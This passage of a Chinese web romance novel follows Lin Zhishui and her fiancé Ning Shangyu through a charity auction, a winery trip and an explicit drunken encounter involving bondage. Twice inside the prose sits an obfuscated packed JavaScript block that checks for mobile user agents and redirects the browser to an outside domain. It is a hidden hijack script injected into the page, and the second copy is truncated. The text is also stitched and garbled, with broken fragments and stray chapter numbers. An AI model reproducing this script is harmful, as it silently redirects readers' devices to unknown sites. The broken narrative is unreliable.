宁濯羽的人生字典里就没有礼这个字,想到她把自己当司机,于是朝她瞥了眼,故意说,“你不知道么,我宁家是有门禁时间的。” 林稚水语气微微错愕:“门禁?” “落日之后不归家还在外面招蜂引蝶,一律打断腿。”宁濯羽神情多了几分似笑非笑的,嗓音又低得像是在跟她透露家族不为人知的血腥秘闻似的,“这是宁商羽定下的规矩,他弟弟多,偶尔下手重了打残几个死几个也不算什么事。” 说到这,还故意停顿了一秒,好心告诫:“你该庆幸还没入门,否则等落日回去,就得承受我尊敬的兄长大人亲自鞭罚哦。” 他前面要没提招蜂引蝶四个字,阴阳怪气得太明显,林稚水险些都要信了。 林稚水顶着那张特别白嫩,近乎到了皮肤都过分纯洁程度的小脸,慢悠悠说:“没事呢,我皮糙肉厚的,经得住鞭打。” 继而,她也学宁濯羽停顿了一秒,通情达理地包容宁商羽这种古怪变态规矩:“只要他感到快乐就好。” “……” 经得住? 宁濯羽指骨漫不经心地叩击方向盘,又朝她瞥了眼,觉得林稚水外表就是个祸水级别的易碎品,仿佛多看一眼都会碎掉。 还敢大言不惭自己皮糙肉厚的。 车厢内的气氛沉默了秒,林稚水似乎从他眼中感受到了不加掩饰的歧视,抿住红唇,也礼尚往来的,眸光在他身上凶巴巴地走了一圈。 一个小司机,歧视谁呢? 一路绿灯通行,两人相继无言很快抵达了花园别墅住处,林稚水被安全放下车,刚走两步,又很突然地停下了脚步,回头礼貌问这位小濯司机:“你不进来坐会吗?” 小濯司机没礼貌,但她不能没有。 夕阳即将流逝的余晖映衬着宁濯羽,他正倾身慵懒地用手臂搭着车窗,黑色长卷毛束了尾滑落衬衫前,掀起眼皮说:“请问你是准备死也要拉一个垫背么?恕直言,你自己去面对吧,我为人品行高洁遵纪守法胆小的很,可没那么强大的心脏奉陪你。” “……”林稚水简直要被他的厚颜无耻给震撼了。 而且她没被限制出门自由,又没偷偷摸摸的婚前出轨,自己就自己去面对宁商羽,有什么好怕的! 更重要的是,她就是客气一下而已。 爱坐不坐。 林稚水转身就走。 天色已晦暗下来,她没有丝毫负罪感地踩着最后一丝余晖,沿着花草环绕的鹅卵石路走进了别墅。 受宁濯羽胡说八道的影响,险些还真要以为宁商羽家里拿着小皮鞭恭候着。 结果进了门,除了管家贴心地为她备了一桌烛光晚餐外,并没有他身影。 管家上前恭恭敬敬地问她何时开饭。 林稚水抬眸,不经意地扫了下主位空空如也的椅子,又表情平静说想过一会儿再吃,先去洗澡,随即她把拿回的珍贵手册放下,便提起裙摆上楼。 才伺候短短几日起居,管家就发现林稚水的胃非常娇生惯养,几乎每道菜都是端上桌,再几乎原封端走。稍作思考了片刻,管家拿出平板无情地划掉今日的厨师,又从候选的百名厨师里,挑了一位最擅长做粤菜的。 再然后。 把别墅的一切事无巨细汇报给那位。 林稚水极度挑食,只是因为自幼味觉尚未修复好,吃什么好像都激发不出她食欲而已,殊不知管家为此,紧锣密鼓地翻找遍了全球厨艺高超的厨师名单。 她洗完澡很快就下楼了,穿着及踝长的柔软浴袍,整个人懒洋洋地很放松,正用手,梳理着垂腰的乌黑长发。 刚到客厅,讶异发现宁商羽竟已经坐在客厅宽大的沙发上,茶几上放着平板电脑,正在跟高层越洋视频会议。 见到林稚水身影出现,也只是淡淡掀起眼皮。 未等她说什么,管家适时地端了一份热腾腾的鱼片粥,和精致的港区特色小菜。 “林小姐,您想坐哪儿用晚餐?餐厅还是……”管家这话问得非常体贴,又恰到好处地点到为止,显然未说完的话,是暗指向了客厅沙发。 林稚水垂眼看了几秒鱼片粥,就这么一小碗,犯不着费劲儿走去空荡荡的餐厅吃,她窝在沙发上捧着就能咽完,随即,在自然不过往宁商羽对面坐下。 林稚水这身浴袍雪白,沙发也是白的,就跟彻底融入到了冬日堆积的厚雪般,被置于手扶旁的落地古典灯光芒一衬,低垂的侧脸也只有那片唇是红的,微微张开,含了一口清甜的米粥。 含着还没咽下。 林稚水很轻地抬眼,视线很正常落到了前方。 宁商羽跟人连线讨论收购内容,并没有外放,而是全程带着蓝牙耳机,等中场休息片刻时,他兀自解了束缚修长腕骨的袖扣,继而,从茶几拿起一支雪茄消遣。 隔着不近不远的距离,都能闻见空气中弥漫着那股浓烈醇香味。 林稚水感到新奇似的,先是安静地看了会儿宁商羽顶着那张过分淡漠、也过分俊美的脸吞云吐雾,眼眸的视线不露痕迹地寸寸描摹着,从薄唇,延伸到了夹着雪茄的手上。 突然间注意到了…… 之前不曾注意到的小细节,宁商羽腕骨内侧露出了类似是刺青的墨色直线,随着他漫不经心抬臂动作,似乎更加清晰了一分。 不是那种繁复图案,就一条直线,瞧着很长。 林稚水性子使然,是好奇了就肯定会开口问:“宁商羽,你手臂上那条很长的线,是什么?” 她音调不高,又清澈的像水,在深夜里渡到了宁商羽耳中。 宁商羽始终都没太关注林稚水这边,直到现在,才缓慢地抬首,那双会摄人魂魄的眼睛在白雾里若隐若现,恰好又隔空对上林稚水透亮眼珠,语调极淡:“你以后就知道了。” 等以后? 林稚水微微怔了怔,微蹙眉心想这话字字透着敷衍意味,现在时间地点就这么不适合说吗? 她黑发垂肩,欲言又止,见宁商羽好似真不愿透露,又把疑惑咽了下去。 不过,林稚水脑袋里的好奇念头可不止一个,还有别的话要问,她没忘记往嘴里塞了口粥,声音听上去带点儿含糊,又问:“对了,今晚我们试吗?” 宁商羽慢条斯理地把玩雪茄,燃烧的那一头红点摇曳,衬得他指节精致异常,在那句试吗落过来时,他倒是反应极为意味深长同时打量过去。 平静幽深的视线如有实质一样,让林稚水慢了几秒,她今晚刚洗过澡,裹在浴袍内的身体清爽又干净,没有流水。 真的只是正常问下而已,不知为何被宁商羽这般直直瞧得,莫名有了点说不出的暧昧性邀请意味起来。 宁商 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而林稚水对林砚棠的情感认知,都是从珍贵书籍遗物上获取的,她自幼就学会独自把那个传闻中生性仁慈的父亲拼凑了出来。 可不能提起。 林曦光会心情不好。 连手握大权后的盛明璎,也会偶尔在深夜疲倦醉酒之际时,久久失神地看着她这双遗传性的琉璃眼。 …… 这些算不上什么好的回忆,林稚水轻轻缓了口气,把这份珍贵无比的手册合上,继而不可避免地想到白日时,沈临疏最后说的那番话。 之所以能很有信心认为自身家庭圆满是追求她的优势。 有一部分是源于必然是窥探出了她情感上对父亲这个角色有所崇拜,当然,还有一部分来源于: 林稚水没记错的话。 当初母亲给的那份资料里记载,宁商羽年幼时就早已丧失双亲,他的父亲生前是当年如日中天的宁氏家族掌权人,母亲则是著名音乐家,都是双双空难离世的。 跟家庭圆满几个字,完全不沾边。 那且不是。 林稚水脑子突然冒出一个不合时宜的想法,他跟她,那且不是,两个缺爱的孤儿深夜报团取暖? 宁商羽比她还更惨点…… 完了。 这想法让林稚水有点儿怜悯心泛滥,继而,抬眼欲言又止地看向了——深夜还在像个冷漠无情高级机器人一样毫不间断地运转的工作狂。 宁商羽已经无视了她整整五分钟的窥视,待那眼神越发明目张胆,他在客厅逐渐幽静的灯光里,终于倏然抬眼。 下秒,林稚水温柔提醒:“宁商羽,保重身体。” 宁商羽:“……” * 被提醒要保重身体的宁商羽到了后半夜才走的。 他行程被安排得很满,天还没亮,就携带高层精英团队又赴美参加签约仪式了,好几日都在国外。 小濯司机倒是闲得很,竟致电来问她有没有被惩罚。 林稚水正悠闲坐在阳台观赏花园近日盛开的一大片木绣球树,心想自己私人号码真是毫无隐私,谁都能打进来。 继而,抿了下红唇,轻声问出:“我为什么要告诉你?” 宁濯羽在上回就发现林稚水也就长得纯粹,性格也是纯粹的难搞。 为了满足自身八卦欲,故而跟她在电话里,语调懒懒散散地透露了沈临疏色胆包天想夺人未婚妻的后续。 后续就是沈氏夫妇亲自跟宁商羽赔礼道歉了。 并且保证会约束好自家儿子那颗贼心。 宁商羽也很通情达理的……原谅了沈临疏。 林稚水:“……”这事为什么还能有后续? 宁商羽对这件事有所在意了吗? 那晚,他最后该不会也通情达理的原谅她了吧?! 11.第 11 章 别墅二楼的主卧里。 林稚水生活作息还是严格按照居住在港区林家时,到点了就回房睡觉,刚洗完澡,她换了一身质地轻而薄的丝绸睡裙,伏在枕上。 手指轻点手机屏,正认真地给宁商羽发消息:【我错了。】 不等回复,她垂眼又继续编辑一段话出来:其实我不太知道沈临疏到底为什么想追求我,何况他明知对方有婚约还来插足,这种道德感比普通人低很多的品行我也不是很欣赏,会去赴约只是单纯想拿回……还有药膳,我应该私下给你炖,不应该让管家他们知道。 林稚水白日都在琢磨这事,觉得有必要跟宁商羽坦诚一番,免得间接性影响到彼此还没培养出的未婚夫妻感情。 下一秒。 她还没编辑好,聊天框就来了新消息。 宁商羽:【你没错,是我错了。】 错在昨晚不该对她生出恻隐之心,当她受不住他。 “……”林稚水手指头瞬间悬在发送的按键上方,顿了好半天,一字一字把没来得及发送的内容给删干净了。 莫名地,她很难想象这话是真诚的从宁商羽嘴里说出来。甚至是,有种他是不是在阴阳怪气的茫然感觉。 林稚水越看越觉得奇怪,继而,于是顺其自然地发出了灵魂拷问:【你错哪了?】 宁商羽言简意赅:【生出了菩萨心。】 林稚水睫毛下的一双眼睛盯着屏幕都不会眨动了,什么? 生出菩萨心这不是好事儿吗?! 林稚水一本正经:【其实男人心地善良点有好处。】 继而,她上网转发了几条新闻: 【大度的男人最好命】 【当你温柔美丽的妻子不小心做错了事,你需要做什么?当然是不分青红皂白地原谅她……】 宁商羽赏给她六个点。 片刻后,宁商羽的消息又传来:【明日找人陪你。】 意思显而易见,她是太闲了,才整天瞎看这些无聊的新闻。 林稚水伏在枕上看了会儿,咬着下唇,心想果然是阴阳怪气。 隔日,宁商羽把宁濯羽点到了她跟前陪玩。 宁濯羽骨节分明的长指勾着超跑钥匙转着圈玩,懒腔懒调地说:“我哥说,未免你闷在家里胡思乱想,钦点我为陪嫂大使,说吧,您想去哪儿玩?” 林稚水静立台阶上,身着一袭浅绿色绸缎的长裙,仿佛盛夏时分坠在林中湖泊上初绽的嫩叶,衬得炎热的天色都分外清爽。 气氛短暂的安静后。 她眉心微蹙似乎终于消化完“陪嫂大使”这四个字,继而,心里笃定这四个字多半是这位自由发挥的,又念及昨晚和宁商羽未尽的对话…… 顿了顿,林稚水语气听上去平平静静:“哦,那你哥哥还说什么了嘛?” 有没有提到她? 比如原谅一下他未来的贤良淑德小妻子? 宁濯羽语调又懒懒散散的:“你猜啊?” 林稚水深知他为人有点轻佻邪性,当场拒绝玩这种猜谜游戏,心想白来的小司机不用白不用,直接选择跳过话题,启唇道:“我想去一场募捐拍卖会,但是没有入场邀请函。” 宁濯羽:“这有什么难的。” 在泗城地界,乃至其他的领域,只要是宁氏家族的人想去,还就没有去不了的,区区一张邀请函,这对宁濯羽这种行事气焰嚣张的骄子而言,未免不要太简单。 不过林稚水想低调点儿,便没忘记提醒他挑个稍微靠后的角落,殊不知,她携宁濯羽入场,无论是坐哪儿,都直接成为各界权贵目光的聚集地。 满厅灯光幽暗,贵宾席之间都隔了互不打扰的距离,而受主办方邀请来的男男女女皆是顶着副盛装精致皮囊落座。 当林稚水出现时,相邻几米远的桃花眼男人瞬间被惊艳了一把,动作略微整理了下西装袖扣,欲要开腔搭讪,忽地,又看到跟着后面的宁濯羽。 宁氏家族—— 桃花眼很冷静地坐了回去。 在场不管是什么眼型的,以及什么豪门权贵阶级的,都清楚不过宁氏这个家族的男人基因里自带顶级兽性的独占欲,为达自身利益可以牺牲一切,且行事从不会收敛锋芒,特别是家族排列越高的,危险度就越高。 而如何能一眼分辨也简单。 只有进入家族内部权力体系核心圈的成员,才有资格佩戴刻上族徽之物。 此刻,跟在林稚水身后的宁濯羽单手插裤兜,露出的金属腕表看似简简单单,落在这些远观的众人眼里却是极为醒目的。 “那位是……” “能让宁濯羽亲自陪护左右的,又生得这副模样,还能是谁?” “宁商羽的……”有人低声止语。 显然,林稚水的身上代表着宁商羽权势,瞬间压过了暗中环伺在周围这一群披着绅士皮的才狼虎豹那点蠢蠢欲动的色欲。 反观林稚水对一切无所知,她被藏在林家鲜少出席各种公开场合,所以面对陌生人窥视的目光,也没有内心敏感地往深处琢磨,而是安安静静地寻到了座位。 她安静。 宁濯羽可有话聊,身姿慵懒地靠着椅背,漫不经心转着腕表说:“我哥那晚真就这么轻易通情达理的……原谅你了?不应该啊。” 这小司机吓唬不成她,还揪着耿耿于怀不放呢! 林稚水弯着眼尾,却没有笑,“正常社交,也要被原谅吗?” “难说。”宁濯羽挑眉:“看在一家人的份上,我这个好心人跟你私下透露点儿秘密,我哥这人有重度变态的洁癖,从小他就没有旧的玩具,不喜欢别人沾过的东西,当然也不容许任何人觊觎他的私有物。” 故意拖长的语调顿了一秒,像是有些遗憾:“你竟安然无事啊?” 林稚水半晌无话:“……”真是谢谢你这个天打雷劈的好心人。 宁濯羽还想聊下去。 然而林稚水身上应有的礼貌和教养已经用光了,懒得再搭理这位危言耸听的小司机了,垂下眸,认真地翻看起了册子。 这场募捐拍卖开始后。 并没有林稚水想象中的激烈角逐,她看中了一位收藏大家所捐的天青汝窑洗,在举牌后,满厅鸦雀无声,许久都没有人敢与她竞价。 林稚水下意识地看周围一眼。 幽深的暗色环境里,宁濯羽眼中尽是狂妄,语调又慢悠悠的:“你不用看他们,哥之前交代过,你看上的,就是你的。” 半响,林稚水轻轻哦了声,就没说话。 她也没有看上很多东西,不过瞥一眼,宁濯羽便会替她举牌。 临近结尾时 这场募捐拍卖会的宾客心思已经全然在林稚水这边了,甚至有陪坐在末席的,好几位都已经眼疾手快地拿出手机跟圈内的人火速分享。 分享林稚水久居港区,那副被一直藏在锦绣堆里的罕见美貌。 以及。 她终于现身公开在顶级豪门场合露面,竟是……为了慈善捐款救助濒危野生动物。 … 林稚水不爱去那种宾客门槛很高的珠宝拍卖会,倒是爱去小型募捐类的,也只是心思纯粹去做个慈善,这点上,没有人比宁濯羽切身体会。 他这些天,给林稚水弄了最少三四张的入场邀请函了。 当然宁濯羽的作用仅限于提供邀请函。 买单的那位公务缠身,一直不在泗城地界。 等周末时,宁濯羽突然提出要带她去酒醉金迷一下。 酒醉金迷? 林稚水倏然睁大了眼睛,心想着她能被放宽自由权限就已经要学会感恩人生,毕竟宁商羽最近特别的“通情达理”,并没有像宁濯羽之前危言耸听的那般,对她真设什么落日之前回家的门禁。 现在她已经自由到可以去“酒醉金迷”一下了吗? “当然可以。”宁濯羽漫不经心地回答:“成天关在家里看海洋童话故事书有什么意思,外面好玩的事多了去。” “……” 林稚水上午都在整理着海洋学相关的书籍,却不知落在每日来找她的宁濯羽眼里,她就好比捧着一本童话故事书在看,就差娇气点把他哥召回来念了。 而林稚水这会儿不再跟他能言善辩一番,脚步没有停地跟着,既心动又好奇,还不禁幻想到宁濯羽此人像足了纵情红尘的,也不知带她怎么见花花世面了。 夕阳将尽时,宁濯羽直接带她乘私人机落地在新西兰北岛的酒庄,保镖助理一大堆随身着,连旁人的窥视都无法近身。 直到看到三面墙环绕的恒温酒柜,犹如高级展示架般呈现眼前,而宁濯羽从里拿了瓶外表璀璨发亮的洋酒,年份比她还大…… 林稚水:“这就是你说的酒……” “酒醉金迷。”宁濯羽长指晃了下高脚杯,继而倒了一小半杯看上去漂亮却酒精度不高的酒,递给她:“你沾前一个字,后面三个字我来,很公平吧?” 很显然。 宁濯羽是小司机当腻了,自己想来此地度假,还给自己召了一堆陪玩的模特明星,男男女女都有,在露天游泳池热闹着,人实在多。 反观林稚水独自待在高奢酒柜的室内,恍如漂亮易碎,更被主人悉心珍藏的玻璃酒瓶。而这个酒瓶,在没有监护人员的情况下: 林稚水自幼味觉尚未修复好,对吃进去的东西多半都是感到寡然无味,不知不觉中,烈酒的浓郁味道,入她口,罕见地品出了一点滋味。 也就逐渐喝上瘾了。 这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525865|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林稚水意识还是清醒的,起码辛静喧给她回的消息,还知道怎么打开看。 ——【药膳方子祖传的!非常正宗!!!你没喝对,要连续喝三天才有奇效!】 原来是要喝三天? 林稚水指尖抵着冰凉屏幕,茫然了会儿,那宁商羽且不是少喝了两天的量,她脑海中想着,怔怔地看着面前酒柜,里面并列的洋酒感觉在地震摇晃似的。 下一秒,仿佛要迎面倒了下来。 倏地,不知何时现身的宁濯羽将她手旁空酒瓶拿起,讶异了秒,“你都喝了?” 他就倒了杯底的浅浅一点,原以为林稚水多少在林家时是上过品酒的必修课,懂得什么叫品和浅尝辄止。 答案很明显。 林稚水不仅都喝了,连整个人像是水晶质地的酒瓶被灌满了酒,本来就白,这会儿包括指尖一起泛着酒醉的淡红。 “酒醉金迷各占一半才公平吧。”林稚水说话间,倒是瞧不出失态,跟喝下的是水似的,端端正正坐着,又真诚地问,“你能把宁商羽叫来吗?我有件大事找他……” 宁濯羽:“……”你该不会酒醉有点想睡觉,找我哥念你家那几本童话故事吧。 “你最好是把他找来。”林稚水虽然轻轻柔柔的语气说得极心平气和,却并不是询问他,而是下指令。 她强调:“非常非常重要。” * 宁濯羽之所以敢无所畏惧把她待这里来,实际上是因为宁商羽也在新西兰北岛的酒庄跟合作方谈生意。 而宁商羽作为权力统治阶级最高统治者,宁濯羽就像是狂信徒,一切都奉行着以尊贵兄长的大业为主。 要不是林稚水声称重要大事……宁濯羽问不出,她喝了点酒的口风极严,开始不爱理人了,只说要见人。 宁濯羽只好带去见。 天逐渐暗下来,这边宁商羽行事果断地跟对方谈完第二次更深度的合作内容后,精英团队原地解散,便各自回房间休息。 而夜晚在酒庄还有一场社交性质的酒宴,宁商羽兴致不高给推了,尾随其后的奚宴会意,随即止步于顶奢的总统房门前。 正划掉行程表一项要走时,忽地,门内传来宁商羽不带温度的嗓音:“进来。” 奚宴被召进来时,璀璨夺目的水晶灯大亮,将一切都照得无处遁形,包括战战栗栗站在酒柜前的两个白皙漂亮男孩,几乎是□□状态,还用粉色丝绸从脖子延伸到手腕绑成蝴蝶结,像是精心包装好的礼物。 宁商羽淡漠地瞥了眼过去,溢出薄唇的一句话,便把奚宴惊回神:“查清楚,谁遗弃这里的。” 遗弃??? 这是什么神奇词汇? 不愧是他们宁总,这么香艳的礼物,经他一说,瞬间就成了社会新闻。 嗯…… 奚宴不敢反驳,默默去调查,三分钟后,他才知晓是酒庄的主人陆誉衡很诚意地尽地主之谊,才给宁商羽送了份惊喜。 这诚意不是白表示的,陆誉衡费尽周折才打探到宁商羽据说是身患性瘾病症,虽没有明确证实。又听闻在商界想做他胯.下之臣的人不在少数,无论是生意往来时主动献身的,还是为了攀附权势被送到他面前的女孩儿,会直接遭到他冷漠拒绝。 陆誉衡斗胆揣测君心,认为宁商羽身居高位,不好言明某些性癖取向,又很难讨好,在外自然不会随意接纳别人送的……礼物。 他甚至怕宁商羽真有性瘾,一个不够他发泄,还送了两个。 奚宴太阳穴猛地狂跳,很显然,他们宁总毫无享用意思,甚至眸底的冷漠不加掩饰。 他赶紧把实情汇报,一字不漏地。 宁商羽坐在沙发上,中指和食指各戴着一枚刻着族徽的指环,漫不经心地叩了叩手扶,心底轻哂,说:“把这两个弃婴,送陆誉衡房里。” 话音落地。 奚宴还未执行命令,两扇关着的门竟被人不请示而开,宁濯羽在不着调地敲了三下:“尊敬的兄长大人,你的未婚妻声称有大事来找你商议,弟弟我没这辙儿了,只好给您送来,请您签收。” “安全抵达,我先撤了。” 说完就跑。 紧接着林稚水真出现了,是慢吞吞地走了进来,厚重的昂贵地毯将她脚步声干干净净吞没一般。 宁商羽微微掀眸看向她。 而林稚水看的却不是宁商羽,反而是—— 晾在这里的两个“弃婴”过于醒目,那蝴蝶结想忽略都不成。 林稚水忽然怔了怔,才歪了一下脑袋看向宁商羽。 酒精浸染后的脑子颇为迟钝地想起方才在门口隐约听宁商羽说的话,继而细长指尖指着他们两个:“这是你的两个孩子?” “你要遗弃他们吗?” 12.第 12 章 宽敞的客厅内顷刻间陷入诡异的寂静。 璀璨灯光下,宁商羽俊美锋利的眉目像是被勾描上了一层极冷的光,他没开口。 其他人更不敢开口。 尤其两个带着勾引任务来的“弃婴”被她一指,挨着柜沿儿的身体蜷缩成一团。 林稚水似乎没察觉到氛围诡异,反而继续踩着铺着的柔软地毯朝他们走过去,感到好奇似的,眨了眨眼,又眨了眨眼。 后来似乎是被他们略显孱弱又洁白身体上的丝绸质地蝴蝶结所吸引,粉色的,指尖竟还去揪了下。 奚宴作为秘书,向来反应极灵光敏锐,然而林稚水那句惊天动地的“两个孩子”依旧震得他罕见没回过神,现在又见她好似打算要替宁商羽拆礼物,刚准备解释之际。 下一秒,林稚水也就蜻蜓点水般的触碰,手安静地垂在身侧了,过分真诚的小嘴巴突然开始自我介绍:“你们好,我叫林稚水。” 我是…… 林稚水歪头思考几秒,这两个是宁商羽的“弃婴”,而她和宁商羽是未婚夫妻,那么…… 认真又严谨地捋顺伦理关系后,林稚水微露矜持笑容,柔声说,“我是你们的继母哦。” 两个“弃婴”:??? 奚宴懵了:继母?? 正常人怀疑未婚夫多了两个孩子,会是这个反应吗? 不是! 正常人怎么会怀疑二十几岁的未婚夫会有十八岁的孩子—— 还是两个!! 他下意识去观察那位的神色,要知道,宁商羽喜洁,平日里最不喜哪个胆敢沾酒还跑到面前胡言乱语。 岂料,宁商羽靠在沙发上冷静地看着林稚水,琥珀色的眼瞳如静谧的深潭,并未有任何发怒的迹象。 林稚水今晚看起来很有逻辑,实际上,脑子里的逻辑已经拐个弯偏到大平洋裸泳了。 他甚至没有阻止,似乎想看林稚水的“继母”角色扮演。 林稚水还真打算继续。 她小脑瓜回忆起平时陪阿琴她们看的古装电视剧。 大家族里,作为初次见面的长辈,得送见面礼,才不失礼节。 她低头看了看自己身上,下一秒,将细腕的钻石手链脱了下来,想当场给见面礼。 忽而一顿。 目光落在了对方被蝴蝶结绑着的双手上,正想去解开。 她倒是大方。 宁商羽薄唇扯出淡而冷冽的弧度。 终于,他对林稚水这场“继母”角色扮演的游戏耐心告罄。 “奚宴。”这时宁商羽嗓音冷冽而锋利似的响在了宽敞奢华的室内,凭音调,就能让人察觉到他充斥着不耐意味,“把人扔出去。” “是。”奚宴应声,一分钟内就快速做好清场工作。 随着那两扇门被严严实实关上,林稚水还怔怔站在原地,她第一次喝醉,大脑反应迟钝,手里还攥着钻石手链准备给人戴上,此时望着空掉的地面。 咦? 人呢? 消失了? 就在这时,宁商羽起身步近,居高临下地看她,继而发现她除了洁白耳垂延伸到脖颈都浸着红润外,连微颤的呼吸间都充盈着丝丝酒味。 林稚水喝了酒缘故,那双眼睛看似比平时更加有一层明亮的清澈感,也怔然又无辜地回视着。 两秒后,宁商羽依旧看着她问话:“你有什么大事来找我商议?” 林稚水经这一提醒,才慢半拍地想起险些都忘记正事,酒后的脑子塞不下那么多东西,转眼就把那两个“突然消失”的“弃婴”给忘了。 满脑子都是“大事”。 她仰起脸很认真说:“那汤你少喝了两天的量,我是……来给你补上的。” 补上。 缺掉两天药膳的量,必须一滴不剩地给宁商羽这具外表高大凶悍的身躯食补上。 “我需要补?” 宁商羽很淡笑了一声。 林稚水温柔坚持:“需要。” 宁商羽语调很缓慢问她,“行,请问我需要补哪里?“ 补哪里? 林稚水想了想辛静喧今晚发来的消息,突然伸出食指尖,戳到了宁商羽的腹肌,隔着黑色绸质的西装料子在上面不停地滑动,语气诚恳地回答:“补这里。” 太滑了,就当她手指险些危险地往下一寸时。 宁商羽反而攥住那不安分的细腕骨,继续问话:“醉成这样,宁濯羽给你喝了多少酒?” 林稚水长而卷翘的睫毛轻眨,开口否认:“没醉。” 她甚至还知道好像不能危及带自己酒醉金迷一下的宁濯羽,陡地又改口,毫无心理负担的撒谎:“我又不会喝酒的,没喝呢。” 宁商羽意味不明:“是么?” 林稚水还想点头。 怎料下秒就被宁商羽俯身毫无预兆地横抱了起来,进浴室,筋骨修长的手指三两下就利落把她这件衣裙给剥开了,料子内逐渐露出的肩胛骨和腰肢红成一片。 还没等林稚水迷迷瞪瞪地彻底反应过来。 宁商羽又褪下昂贵的领带,充当绸缎绳,将她双手捆在身后。 短短片刻,林稚水瞳孔恍了一瞬,竟抓错事态重点,下意识地想看有没有也给她绑个蝴蝶结。 可她发现身体动弹不得了,被宁商羽往前按到了卷草贝壳纹雕刻的复古全身镜前。而他跟着略俯身,生机勒勃的体温弥漫过来,无声中压过了先前那股生人勿近的冷漠,几乎贴在了林稚水耳边问:“看镜子。全身上下连脚尖都变红了,不是喝酒醉的,林小姐难道是在害羞?” 宁商羽极少会直白吐露这般令人浮想联翩的话。 可他始终语调平平,好似在叙述事实而已。 她在灯光下莹润的皮肤艳得……犹如浸透了湿漉漉的酒液,颜色都快堪比她眼尾那两颗红痣了。 “那我给你道歉。”林稚水性子有时很会审时度势,被当场抓个证据确凿,这个证据还是她自己,透着酒醉的脑海意识已经不占上风后,声音生动而柔软说:“大人大量的宁先生,你能原谅我在喝醉酒的情况下,撒了一个小小的谎吗?” 宁商羽此刻可没那么通情达理,说:“你这个道歉,我品不出诚意。” 怎么就品不出了呢?! 林稚水眼睛倏然睁大又茫然,直勾勾地看着镜面倒映出的他:“我都道歉了,还为你身体着想,很有诚意的找人寻药膳方子,亲手给你炖汤喝。” 这一桩桩一件件的事,都把诚意刻在脸上了,宁商羽竟然看不到? 这不免让林稚水眉心微蹙感到生气,正想转过身理论一番,全然忘记被绑着,压在一尘不染的镜面上,她自言自语似的说,“好凉,又烫。” 凉是指镜子 烫也自然指的是身后的宁商羽。 虽然他这身黑色绸制西装除了方才用力扯掉领带,导致衬衫领口有点乱外,其余的地方都被一丝不苟地严密包裹着,线条勾勒得尤为笔挺且修长。 热感无法忽略,毫无障碍地往她这儿涌来。 “你尺寸真不小。”林稚水毫无预兆冒出一句。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531984|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁商羽对她今晚乱窜的思绪已经应对自如,俊美眉骨的情绪不起丝毫讶异波澜,倒是顺水推舟地问,“不小你还大费周章给我炖补汤?” 炖得那么炉火纯青,唯恐他喝少了。 林稚水抿住了唇,即便醉了,在事关自己的秘密上,口风以及很紧,不愿意透露真实目的。 她脑子还没彻底醉坏掉,本能地感觉不能让宁商羽知道,关心他身体健康是真,但是炖汤纯粹是怕他底子太虚英年早逝的话,也会连累到她自由的。 宁商羽见她许久不吱声,索性又换了一句问:“你没亲眼看过,就下定论知道我尺寸?” 林稚水被问懵了几秒。 她眨眨眼,又忘记被领带捆住手腕的事,想用指尖去指自己这双眼睛,同时心想着她虽然蹭过没看过,但是有多年裁缝小睡裙的手工活经验…… 凭目测。 林稚水就分毫不差估摸出他的尺寸,绝对大的惊人。 待她豪言壮举出口,宁商羽略有些低沉笑了下,意味很深地重复这四个字:“分毫不差?” 林稚水反应慢了半拍,下一秒,指尖就被烫到了。 “今晚给你机会手量一次。”她前面贴着镜子,手又被绑在后面的姿势,恰好能有空间碰到宁商羽,被深深注视着,也被牵引着,指尖的皮肤先一步触感到西装裤的昂贵料子,继而探进,一寸寸地测量了起来。 明明是她被酒精影响了,可体温越发高的却是宁商羽。 … 宁商羽:“还觉得我需要补?” 林稚水从最初的摇头,慢慢变成了摇头说:“不,不需要了……” 宁商羽用绝对权威的实力与事实证明了并不需要什么补汤,以及她这双瞳如琉璃的眼睛可以做慈善捐出去,摆在博物馆里供人鉴赏了。 好歹还能起到赏心悦目的作用。 … 林稚水额头贴着镜子,闭了闭眼,再次开口道歉:“我错了。” 就算宁商羽一大清早要打针,她也不该多事去整什么大补特补的药膳,更不该过度自信觉得自己的眼力好…… 现在怎么感觉身体要不好的是她了。 然而,宁商羽敛着眉目压着她,确实并不打算轻易地饶恕。 他像是站在食物链顶端的最强猛兽,狮子食肉,却难得生出几分怜悯之心,顾虑到她被养得娇气的体质。 偏偏她就跟只会细嚼啃最草的小羊羔,倒是一点不领情,经常靠这张纯洁好骗的皮囊,围绕着他,做出点匪夷所思的大胆直白行为出来。 宁商羽戴着刻着族徽指环的手掐着她下巴抬高,冰凉的金属质地和嘴唇热息,几乎同时传来,“林小姐,犯错是要接受惩罚。” 下秒。 林稚水就被他俯首强势咬住,跟第一次接吻不同,这次宁商羽的捕猎手法变了,用更具有压迫感的超高技巧,深喉式地吻她。 是这个惩罚吗? 她感到迷惑半响后,还是选择闭上眼接受,那双始终被捆在腰后的手下意识地想去勾住宁商羽衣角,并且身体也控制不住地压紧镜子,把一尘不染地镜面都滑出湿印的痕迹时。 □*□ 这巴掌,来的毫无预兆,但是对于她真正的惩罚才刚刚开始,又是一巴掌,直接让林稚水眸中水波颤个不停。 □*□ 漂亮脸蛋上好似里里外外透着莹润粉红之色,稍有不慎就会晃出来几滴。 哪里遭得住宁商羽。 第三下惩罚落来时。 □*□ 好多水。 40-50 第41章 